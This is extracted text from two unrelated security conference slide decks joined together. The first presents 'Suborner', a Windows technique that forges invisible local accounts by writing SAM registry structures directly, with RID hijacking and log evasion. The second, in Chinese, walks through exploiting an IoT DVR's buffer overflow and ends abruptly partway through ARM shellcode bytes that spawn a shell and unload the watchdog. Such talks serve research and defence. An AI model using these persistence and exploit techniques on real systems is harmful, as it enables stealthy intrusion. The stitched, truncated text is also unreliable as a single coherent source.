@r4wd3r S U B O R N E R 4720! S C E N A R I O # 2 : A D D U S E R $ R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 2 : A D D U S E R $ R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 2 : A D D U S E R $ 4720 R 4 W S E C . C O M  @r4wd3r S U B O R N E R DEL! S C E N A R I O # 2 : A D D U S E R $ R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C C O U N T C R E A T I O N S C E N A R I O S ∙ Scenario 1: Add user FAIL! ∙ Scenario 2: Add user with $ FAIL! ∙ Scenario 3: Add machine account (netapi32) R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C C O U N T C R E A T I O N S C E N A R I O S ∙ Scenario 1: Add user FAIL! ∙ Scenario 2: Add user with $ FAIL! ∙ Scenario 3: Add machine account (netapi32) R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 3 : N E T A P I 3 2 USER_INFO_1 baddieInfo { usri1_name = baddie$ … usri1_priv = 1 usr1_flags = 0x1000 } netapi32::NetUserAdd(baddieInfo) R 4 W S E C . C O M  @r4wd3r S U B O R N E R 4741! S C E N A R I O # 3 : N E T A P I 3 2 R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 3 : N E T A P I 3 2 R 4 W S E C . C O M  @r4wd3r S U B O R N E R 4741 S C E N A R I O # 3 : N E T A P I 3 2 R 4 W S E C . C O M  @r4wd3r S U B O R N E R DEL! S C E N A R I O # 3 : N E T A P I 3 2 R 4 W S E C . C O M  @r4wd3r S U B O R N E R ∙ The baddie account is detected: ∙ When created (Windows Events, API Call Sequence Analysis) ∙ After its creation (User Management Applications) W H A T I S W R O N G ? R 4 W S E C . C O M  @r4wd3r S U B O R N E R ∙ The baddie account is detected: ∙ When created (Windows Events, API Call Sequence) ∙ After its creation (User Management Applications) ∙ The account needs to be added to an administrative group (e.g. Administrators) W H A T I S W R O N G ? R 4 W S E C . C O M  @r4wd3r S U B O R N E R ∙ The baddie account is detected: ∙ When created (Windows Events, API Call Sequence) ∙ After its creation (User Management Applications) ∙ The account needs to be added to an administrative group (e.g. Administrators) ∙ The Win32 API impedes to modify all account attributes freely W H A T I S W R O N G ? R 4 W S E C . C O M  @r4wd3r S U B O R N E R W H A T C A N W E D O ? R 4 W S E C . C O M  @r4wd3r S U B O R N E R B R I B E I T ! R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API Create! R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API Done! R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API I D E A ! R 4 W S E C . C O M  @r4wd3r S U B O R N E R W R I T E T H E S A M D I R E C T L Y ! SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R N O L O G ! SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R S U B O R N I N G ? H O W ? ∙ Dynamically crafts a suborner account without calling the Win32 API functions designed to do so (e.g., netapi32::netuseradd) R 4 W S E C . C O M  @r4wd3r S U B O R N E R S U B O R N I N G ? H O W ? ∙ Dynamically crafts a suborner account without calling the Win32 API functions designed to do so (e.g., netapi32::netuseradd) ∙ Adds extra stealth to the suborner appending the dollar sign to its username ($) R 4 W S E C . C O M  @r4wd3r S U B O R N E R S U B O R N I N G ? H O W ? ∙ Dynamically crafts a suborner account without calling the Win32 API functions designed to do so (e.g., netapi32::netuseradd) ∙ Adds extra stealth to the suborner appending the dollar sign to its username ($) ∙ Configures the account as a machine account through its Account Control Bits (ACB). R 4 W S E C . C O M  @r4wd3r S U B O R N E R A G E N D A Why? How? What’s next? What? Show me! R 4 W S E C . C O M  @r4wd3r S U B O R N E R G O A L S ∙ Understand authentication/authorization for local accounts ∙ Create a local account writing directly to the SAM ∙ Make it invisible! R 4 W S E C . C O M  @r4wd3r S U B O R N E R G O A L S ∙ Understand authentication/authorization for local accounts ∙ Create a local account writing directly to the SAM ∙ Make it invisible! R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log LSASS Event Logger LSA Policy Creds Mgmt NetUserAdd API R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll kerberos.dll LSA Policy Others AD Services ntdsa.dll AD DB KDC Kdcsvc.dll RPC Credential Management WINLOGON netapi32.dll userenv.dll Others R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll kerberos.dll LSA Policy Others AD Services ntdsa.dll AD DB KDC Kdcsvc.dll RPC Credential Management WINLOGON netapi32.dll userenv.dll Others R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy RPC Credential Management WINLOGON A U T H E N T I C A T I O N R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy RPC Credential Management WINLOGON A U T H E N T I C A T I O N R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H E N T I C A T I O N LOGON SID R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H E N T I C A T I O N LOGON SID LsaLogonUser R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H E N T I C A T I O N LOGON SID R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H E N T I C A T I O N LOGON SID R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H E N T I C A T I O N LOGON SID R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger LSA Service lsasrv.dll SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H O R I Z A T I O N LOGON SID LUID R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H O R I Z A T I O N LOGON SID LUID LSA Service lsasrv.dll R 4 W S E C . C O M  @r4wd3r S U B O R N E R LSA Service lsasrv.dll SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON A U T H O R I Z A T I O N LOGON SID LUID R 4 W S E C . C O M  @r4wd3r S U B O R N E R LSA Service lsasrv.dll SAM Security Log Executive User mode Kernel mode Security Reference Monitor (SRM) ALPC Event Logger SAM Service samsrv.dll Local Security Subsystem (LSASS) MSV1_0.dll LSA Policy Credential Management WINLOGON S U C C E S S ! R 4 W S E C . C O M  @r4wd3r S U B O R N E R G O A L S ∙ Understand authentication/authorization for local accounts ∙ Create a local account writing directly to the SAM ∙ Make it invisible! R 4 W S E C . C O M  @r4wd3r S U B O R N E R W H A T I S T H E M I N I M U M ? Username Password Permissions R 4 W S E C . C O M  @r4wd3r S U B O R N E R B U T W H E R E ? R 4 W S E C . C O M  @r4wd3r S U B O R N E R T R A V E L B A C K T O T I M E R 4 W S E C . C O M  @r4wd3r S U B O R N E R T R A V E L B A C K T O T I M E R 4 W S E C . C O M  @r4wd3r S U B O R N E R V ? 00 01 02 03 04 05 06 07 0000 00 00 00 00 f4 00 00 00 0008 03 00 01 00 f4 00 00 00 0010 12 00 00 00 00 00 00 00 0018 08 01 00 00 12 00 00 00 0020 00 00 00 00 1c 01 00 00 0028 16 00 00 00 00 00 00 00 0030 34 01 00 00 00 00 00 00 0038 00 00 00 00 34 01 00 00 0040 00 00 00 00 00 00 00 00 0048 34 01 00 00 00 00 00 00 0050 00 00 00 00 34 01 00 00 0058 00 00 00 00 00 00 00 00 0060 34 01 00 00 00 00 00 00 0068 00 00 00 00 34 01 00 00 0070 00 00 00 00 00 00 00 00 0078 34 01 00 00 00 00 00 00 0080 00 00 00 00 34 01 00 00 0088 00 00 00 00 00 00 00 00 0090 34 01 00 00 08 00 00 00 0098 01 00 00 00 3c 01 00 00 00A0 18 00 00 00 00 00 00 00 00A8 54 01 00 00 38 00 00 00 00B0 00 00 00 00 8c 01 00 00 00B8 18 00 00 00 00 00 00 00 00C0 a4 01 00 00 18 00 00 00 00C8 00 00 00 00 01 00 14 80 . . . 01B0 01 02 00 00 00 00 00 05 01B8 20 00 00 00 20 02 00 00 01C0 73 00 75 00 62 00 6f 00 01C8 72 00 6e 00 65 00 72 00 01D0 24 00 00 00 73 00 75 00 01D8 62 00 6f 00 72 00 6e 00 01E0 65 00 72 00 24 00 b1 e7 01E8 44 00 45 00 53 00 43 00 01F0 52 00 49 00 50 00 54 00 01F8 49 00 4f 00 4e 00 87 f9 0200 01 02 00 00 07 00 00 00 0208 02 00 02 00 00 00 00 00 0210 9d c3 60 5f 3b ab d7 00 0218 9d c0 96 0e 68 d9 ef 70 0220 02 00 02 00 10 00 00 00 0228 ba 6f a0 e7 a9 6b 70 36 0230 b6 fb 9b 05 4e cd 09 c2 0238 4f 60 37 1b 5d b1 2b 2b 0240 c4 53 61 53 88 36 fc 01 0248 0c 29 a5 7c 18 83 f9 6f 0250 50 0e 16 fb 7c 8b 9d 22 0258 02 00 02 00 00 00 00 00 0260 4c b3 84 ca 78 54 8c be 0268 62 33 20 5c 1a eb 66 37 0270 02 00 02 00 00 00 00 00 0278 d5 fa d4 73 25 7f 00 b4 0280 59 ae c2 57 0c 8d d3 a1 R 4 W S E C . C O M  @r4wd3r S U B O R N E R V = W T F ? 00 01 02 03 04 05 06 07 0000 00 00 00 00 f4 00 00 00 0008 03 00 01 00 f4 00 00 00 0010 12 00 00 00 00 00 00 00 0018 08 01 00 00 12 00 00 00 0020 00 00 00 00 1c 01 00 00 0028 16 00 00 00 00 00 00 00 0030 34 01 00 00 00 00 00 00 0038 00 00 00 00 34 01 00 00 0040 00 00 00 00 00 00 00 00 0048 34 01 00 00 00 00 00 00 0050 00 00 00 00 34 01 00 00 0058 00 00 00 00 00 00 00 00 0060 34 01 00 00 00 00 00 00 0068 00 00 00 00 34 01 00 00 0070 00 00 00 00 00 00 00 00 0078 34 01 00 00 00 00 00 00 0080 00 00 00 00 34 01 00 00 0088 00 00 00 00 00 00 00 00 0090 34 01 00 00 08 00 00 00 0098 01 00 00 00 3c 01 00 00 00A0 18 00 00 00 00 00 00 00 00A8 54 01 00 00 38 00 00 00 00B0 00 00 00 00 8c 01 00 00 00B8 18 00 00 00 00 00 00 00 00C0 a4 01 00 00 18 00 00 00 00C8 00 00 00 00 01 00 14 80 Variable User Permissions Username Full Name Comment User comment Unkown entry Home Dir Home Dir Connect User Logon Script Path Profilepath Workstations Hours allowed Unkown entry LM Hash NTLM Hash NTLM History LM History . . . 01B0 01 02 00 00 00 00 00 05 01B8 20 00 00 00 20 02 00 00 01C0 73 00 75 00 62 00 6f 00 01C8 72 00 6e 00 65 00 72 00 01D0 24 00 00 00 73 00 75 00 01D8 62 00 6f 00 72 00 6e 00 01E0 65 00 72 00 24 00 b1 e7 01E8 44 00 45 00 53 00 43 00 01F0 52 00 49 00 50 00 54 00 01F8 49 00 4f 00 4e 00 87 f9 0200 01 02 00 00 07 00 00 00 0208 02 00 02 00 00 00 00 00 0210 9d c3 60 5f 3b ab d7 00 0218 9d c0 96 0e 68 d9 ef 70 0220 02 00 02 00 10 00 00 00 0228 ba 6f a0 e7 a9 6b 70 36 0230 b6 fb 9b 05 4e cd 09 c2 0238 4f 60 37 1b 5d b1 2b 2b 0240 c4 53 61 53 88 36 fc 01 0248 0c 29 a5 7c 18 83 f9 6f 0250 50 0e 16 fb 7c 8b 9d 22 0258 02 00 02 00 00 00 00 00 0260 4c b3 84 ca 78 54 8c be 0268 62 33 20 5c 1a eb 66 37 0270 02 00 02 00 00 00 00 00 0278 d5 fa d4 73 25 7f 00 b4 0280 59 ae c2 57 0c 8d d3 a1 Headers Values V size is dynamic! R 4 W S E C . C O M  @r4wd3r S U B O R N E R V E N T R Y H E A D E R S 00 01 02 03 04 05 06 07 0000 00 00 00 00 f4 00 00 00 0008 03 00 01 00 f4 00 00 00 0010 12 00 00 00 00 00 00 00 . . . 01B0 01 02 00 00 00 00 00 05 01B8 20 00 00 00 20 02 00 00 01C0 73 00 75 00 62 00 6f 00 01C8 72 00 6e 00 65 00 72 00 01D0 24 00 00 00 73 00 75 00 01D8 62 00 6f 00 72 00 6e 00 01E0 65 00 72 00 24 00 b1 e7 01E8 44 00 45 00 53 00 43 00 01F0 52 00 49 00 50 00 54 00 01F8 49 00 4f 00 4e 00 87 f9 0200 01 02 00 00 07 00 00 00 0208 02 00 02 00 00 00 00 00 0210 9d c3 60 5f 3b ab d7 00 0218 9d c0 96 0e 68 d9 ef 70 0220 02 00 02 00 10 00 00 00 0228 ba 6f a0 e7 a9 6b 70 36 0230 b6 fb 9b 05 4e cd 09 c2 0238 4f 60 37 1b 5d b1 2b 2b 0240 c4 53 61 53 88 36 fc 01 0248 0c 29 a5 7c 18 83 f9 6f 0250 50 0e 16 fb 7c 8b 9d 22 0258 02 00 02 00 00 00 00 00 0260 4c b3 84 ca 78 54 8c be 0268 62 33 20 5c 1a eb 66 37 0270 02 00 02 00 00 00 00 00 0278 d5 fa d4 73 25 7f 00 b4 0280 59 ae c2 57 0c 8d d3 a1 Headers Values 0008 03 00 01 00 f4 00 00 00 0010 12 00 00 00 00 00 00 00 int offset = 244 (0xF4); from 0xCC int length = 18 (0x12); Unicode int unknown = 0; Username R 4 W S E C . C O M  @r4wd3r S U B O R N E R V V A L U E E N T R Y 00 01 02 03 04 05 06 07 0000 00 00 00 00 f4 00 00 00 0008 03 00 01 00 f4 00 00 00 0010 12 00 00 00 00 00 00 00 . . . 01B0 01 02 00 00 00 00 00 05 01B8 20 00 00 00 20 02 00 00 01C0 73 00 75 00 62 00 6f 00 01C8 72 00 6e 00 65 00 72 00 01D0 24 00 00 00 73 00 75 00 Headers Values 0008 03 00 01 00 f4 00 00 00 0010 12 00 00 00 00 00 00 00 int offset = 244 (0xF4); from 0xCC int length = 18 (0x12); Unicode int unknown = 0; Username 01C0 73 00 75 00 62 00 6f 00 01C8 72 00 6e 00 65 00 72 00 01D0 24 00 00 00 73 00 75 00 Username: suborner$ R 4 W S E C . C O M  @r4wd3r S U B O R N E R Variable User Permissions Username Full Name Comment User comment Unkown entry Home Dir Home Dir Connect User Logon Script Path Profilepath Workstations Hours allowed Unkown entry LM Hash NTLM Hash NTLM History LM History V R 4 W S E C . C O M  @r4wd3r S U B O R N E R V Username Username R 4 W S E C . C O M  @r4wd3r S U B O R N E R V Username NTLM Hash Username NTLM Hash R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM NTLM R 4 W S E C . C O M  @r4wd3r S U B O R N E R R E V E R C E P T I O N ! SAM NTLM R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater 0x02. Calculate NTLM Hash (and split it in 2 halves) R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater 0x02. Calculate NTLM Hash (and split it in 2 halves) 0x03. Calculate DES Key for each NTLM part R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater 0x02. Calculate NTLM Hash (and split it in 2 halves) 0x03. Calculate DES Key for each NTLM part 0x04. Encrypt & concat each NTLM part with DES keys R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater 0x02. Calculate NTLM Hash (and split it in 2 halves) 0x03. Calculate DES Key for each NTLM part 0x04. Encrypt & concat each NTLM part with DES keys 0x05. Calculate SAM Key R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater 0x02. Calculate NTLM Hash (and split it in 2 halves) 0x03. Calculate DES Key for each NTLM part 0x04. Encrypt & concat each NTLM part with DES keys 0x05. Calculate SAM Key 0x06. Calculate SAM Hash (AES or MD5) R 4 W S E C . C O M  @r4wd3r S U B O R N E R N T L M & S A M H A S H 0x01. Check if Windows 10 v1607 or greater 0x02. Calculate NTLM Hash (and split it in 2 halves) 0x03. Calculate DES Key for each NTLM part 0x04. Encrypt & concat each NTLM part with DES keys 0x05. Calculate SAM Key 0x06. Calculate SAM Hash (AES or MD5) 0x07. Write changes to V R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F R 4 W S E C . C O M  @r4wd3r S U B O R N E R G O A L S ∙ Understand authentication/authorization for local accounts ∙ Create a local account writing directly to the SAM ∙ Make it invisible! R 4 W S E C . C O M  @r4wd3r S U B O R N E R F ? 00 01 02 03 04 05 06 07 0000 02 00 01 00 00 00 00 00 0008 00 00 00 00 00 00 00 00 0010 00 00 00 00 00 00 00 00 0018 00 00 00 00 00 00 00 00 0020 00 00 00 00 00 00 00 00 0028 00 00 00 00 00 00 00 00 0030 F4 01 00 00 01 02 00 00 0038 10 02 00 00 00 00 00 00 0040 00 00 00 00 00 00 00 00 0048 00 00 00 00 00 00 00 00 R 4 W S E C . C O M  @r4wd3r S U B O R N E R F I S E Z ! 00 01 02 03 04 05 06 07 0000 02 00 01 00 00 00 00 00 0008 00 00 00 00 00 00 00 00 0010 00 00 00 00 00 00 00 00 0018 00 00 00 00 00 00 00 00 0020 00 00 00 00 00 00 00 00 0028 00 00 00 00 00 00 00 00 0030 F4 01 00 00 01 02 00 00 0038 10 02 00 00 00 00 00 00 0040 00 00 00 00 00 00 00 00 0048 00 00 00 00 00 00 00 00 Variable Lockout time Last logon Password last set Account expires Last incorrect password RID copy Account Bits (ACB) Country code Invalid password count Total logons since creation F size is fixed! R 4 W S E C . C O M  @r4wd3r S U B O R N E R F S T R U C T U R E 0030 F4 01 00 00 0038 10 02 00 00 p RID copy Account Bits (ACB) R 4 W S E C . C O M  @r4wd3r S U B O R N E R R I D H I J A C K I N G F T W ! 0030 F4 01 00 00 p RID copy R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F RID Hijacking R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F RID Hijacking $ R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F RID Hijacking $ R 4 W S E C . C O M  @r4wd3r S U B O R N E R F : A C B B I T S Flag Value ACB_DISABLED 0x0001 ACB_HOMDIRREQ 0x0002 ACB_PWNOTREQ 0x0004 ACB_TEMPDUP 0x0008 ACB_NORMAL 0x0010 ACB_MNS 0x0020 ACB_DOMTRUST 0x0040 ACB_WSTRUST 0x0080 ACB_SVRTRUST 0x0100 ACB_PWNOEXP 0x0200 ACB_AUTOLOCK 0x0400 0038 10 02 00 00 Account Bits (ACB) R 4 W S E C . C O M  @r4wd3r S U B O R N E R F : A C B B I T S ACB_WSTRUST 0x0080 0038 10 02 00 00 Account Bits (ACB) R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F = ACB R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F $ = ACB R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F $ = ACB R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F RID Hijacking $ = ACB R 4 W S E C . C O M  @r4wd3r S U B O R N E R SAM V F RID Hijacking $ = ACB 0x80 R 4 W S E C . C O M  @r4wd3r S U B O R N E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R W H A T C A N W E D O ? ∙ Create a custom account without the Win32 API limitations (and without calling that noisy Event Logger) ∙ Modify account attributes that are unchangeable through the Win32 API (s.a. RID for Primary Access Token generation) R 4 W S E C . C O M  @r4wd3r S U B O R N E R A G E N D A Why? How? What’s next? What? Show me! R 4 W S E C . C O M  @r4wd3r S U B O R N E R S U B O R N E R v1 . 0 . 1 ∙ C# artifact to forge invisible accounts ∙ Crafts account’s SAM registry keys and values as the OS, without the limits of its API ∙ Works on ALL Windows NT Machines R 4 W S E C . C O M  @r4wd3r S U B O R N E R S U B O R N E R v1 . 0 . 1: P A R A M E T E R S ∙ /username: Suborner username ∙ /password: Suborner password ∙ /rid: Suborner RID ∙ /ridhijack: Account to impersonate ∙ /template: Account template for forging ∙ /machineaccount: Create as machine account R 4 W S E C . C O M  @r4wd3r S U B O R N E R D E M O S C E N A R I O Attacker Machine Victim Machine 192.168.8.128 192.168.8.129 R 4 W S E C . C O M  @r4wd3r S U B O R N E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R A G E N D A Why? How? What’s next? What? Show me! R 4 W S E C . C O M  @r4wd3r S U B O R N E R M S F T R E S P O N S E R 4 W S E C . C O M  @r4wd3r S U B O R N E R I T ‘ S A L L B A D ? ∙ Although conceived as an attack, sysadmins could use this to hide privileged local accounts from unintended actors ∙ Could be detected by inspection (Automated could be tricky in the future) ∙ Not a domain account, but definitely could be used within AD domains R 4 W S E C . C O M  @r4wd3r S U B O R N E R W H A T ‘ S N E X T ? ∙ Totally substitute the Win32 API for Windows Local account management! ∙ Discover new attack vectors of account attributes sanitized by the OS (fuzz? Bypass detection?) ∙ Hack Suborn the planet! R 4 W S E C . C O M  @r4wd3r S U B O R N E R R E F E R E N C E S ∙ B. Delpy, Mimikatz: Benjamin Delpy (gentilkiwi) https://github.com/gentilkiwi/mimikatz/ ∙ P. Yosifovich, A. Ionescu. Windows Internals, Part 1: System architecture, processes, threads, memory management, and more (Developer Reference). ∙ S. Castro. RID Hijacking: Maintaining Access on Windows Machines https://r4wsec.com/notes/rid_hijacking/index.html ∙ Ben0xa. DoucMe https://github.com/ben0xa/doucme S U B O R N E R A Windows Bribery for Invisible Persistence Sebastián Castro @r4wd3r srcastrot    
pdf
From Dvr to See Exploit of IoT Device 0K5y Nobody@360GearTeam 1559113201 Date Larryxi Nobody@360GearTeam What’s time 0x00 目录 0x01 前言闲谈 0x02 漏洞挖掘 0x03 环境调试 0x04 漏洞利用 0x05 总结反思 0x01 前言闲谈 有朋自远方来 IoT 四层模型 IoT 现状问题 IoT 利用架构 IoT 攻击思维 0x02 漏洞挖掘 环境前瞻 获取固件的十种方法 软件层面 硬件层面 前瞻发现 `etc/init.d/S99` 中注释掉了`telnetd` `/etc/passwd` 中存在硬编码弱口令 `file /bin/busybox` 可知架构为 armel 一般思路 Web端命令注入或者通过溢出远程代码执行 寻找相关shell口并使用弱口令登录 0x02 漏洞挖掘 Web 漏洞 虽有登录失败重定向,但在burp中能看到后台静态资源 身份在url中传递,实时动态获取后端资源 有些cgi存在未授权访问,可得到相关配置文件 有些cgi可执行特定的指令,如reboot 并无卵用 0x02 漏洞挖掘 缓冲区溢出 0x02 漏洞挖掘 缓冲区溢出 0x03 调试环境 获取调试接口 没有命令注入也就无法得到shell进行远程调试 虽有UART接口但只输出日志信息 通过修改u-boot的init参数,没有实际效果 面临问题 REPACKING 0x03 调试环境 获取调试接口 Round One 0x03 调试环境 获取调试接口 Round Two 0x03 调试环境 获取调试接口 Fight 0x03 调试环境 交叉编译环境 gdbserver-7.7 + gdb-multiarch-7.12 = 踩坑 gdbserver-7.11 + gdb-multiarch-7.12 = 真香 0x04 漏洞利用 安全机制 No GS No NX ASLR 为1, uClibc 地址确实被随机化 Vectors 段的地址是固定的 Watchdog 以内核模块的形式存在 0x04 漏洞利用 安全机制 0x04 漏洞利用 利用方案 在函数返回之前得到异 常报错 strcasestr 的haystack参 数被payload中数据覆盖 使用vectors段中可读的 固定地址 0x04 漏洞利用 利用方案 由于截断, 无法在代码段找到完美的 one-gadget 在vectors 段中寻找gadget也是收效甚微 0x04 漏洞利用 利用方案 绕过 ASLR Information leak: http响应信息限制得比较死,不像串口 会输出串口信息 Violent hacking: 程序打崩后watchdog就重启系统 Heap spray: 可以尝试一下多线程的处理效果,希望不大 0x04 漏洞利用 利用方案 逆向Http处理过程 0x04 漏洞利用 利用方案 逆向Http处理过程 0x04 漏洞利用 利用方案 重视漏洞环境 0x04 漏洞利用 利用方案 Two Pops Jump to `GET /cgi-bin/xxx.cgi?p=xxx HTTP/1.1\r\n` 0x04 漏洞利用 Shellcode 构造 Badchar and Nop `\x00\x0d\x0a\x20`and `GETB` 0x04 漏洞利用 Shellcode 构造 Play With Execve #include <unistd.h> int main(void) { execve("/bin/sh", 0, 0); return 0; } #include <unistd.h> int main(void) { char* argv[] = {"busybox", "rmmod", "wdt", 0}; execve("/bin/busybox", argv, 0); return 0; } 0x04 漏洞利用 Shellcode 构造 Learn From Pwnlib eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x786f6279 \x79\x62\x6f\x78 ybox push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x7375622f \x2f\x62\x75\x73 /bus push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6e69622f \x2f\x62\x69\x6e /bin push {r7} \x80\xb4 mov r0, sp \x68\x46 mov r7, #0x74 \x4f\xf0\x74\x07 t push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x64770064 \x64\x00\x77\x64 d\x00wd push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6f6d6d72 \x72\x6d\x6d\x6f rmmo push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0xff786f62 \x62\x6f\x78\xff box\xff lsl.w r7, r7, #8 \x4f\xea\x07\x27 lsr.w r7, r7, #8 \x4f\xea\x17\x27 box\x00 push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x79737562 \x62\x75\x73\x79 busy push {r7} \x80\xb4 eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 mov.w r1, #0x12 \x4f\xf0\x12\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0x10 \x4f\xf0\x10\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0xc \x4f\xf0\x0c\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov r1, sp \x69\x46 eor.w r2, r2, r2 \x82\xea\x02\x02 mov.w r7, #0xb \x4f\xf0\x0b\x07 svc #0x41 \x41\xdf 0x04 漏洞利用 Shellcode 构造 Learn From Pwnlib eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x786f6279 \x79\x62\x6f\x78 ybox push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x7375622f \x2f\x62\x75\x73 /bus push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 